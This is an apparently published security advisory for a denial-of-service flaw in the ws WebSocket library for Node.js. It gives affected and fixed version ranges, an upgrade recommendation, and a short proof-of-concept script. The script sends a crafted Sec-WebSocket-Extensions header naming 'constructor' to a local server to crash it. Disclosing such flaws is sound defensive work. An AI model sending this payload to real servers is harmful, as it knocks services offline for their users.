HighVulnerabilityGHSA-5v72-xg48-5rpmPublished 4 Jun 2019
Denial of Service in ws
Affected releases · ws
- 3.x3.0.0 – 3.3.0Fixed in 3.3.1
- 2.x2.0.0 – 2.3.1No fix on this line yet
- 1.x1.0.0 – 1.1.4Fixed in 1.1.5
- 0.8.x and older0.6.0 – 0.8.1No fix, no longer updated
On 3.x, the newest line:
npm install ws@3.3.18.x
Not affected
8.0.0 – 8.22.0
41 releases, latest
3.x
Affected
3.0.0 – 3.3.0
4 releases
Fixed
3.3.1 – 3.3.3
3 releases
2.x
Affected
2.0.0 – 2.3.1
11 releases
1.x
Affected
1.0.0 – 1.1.4
7 releases
Fixed
1.1.5
1 release
0.x
Not affected
0.2.6 – 0.5.0
47 releases
Affected
0.6.0 – 0.8.1
11 releases
Is your project affected?
Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.
What happens
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});Recommendation
Update to version 3.3.1 or later.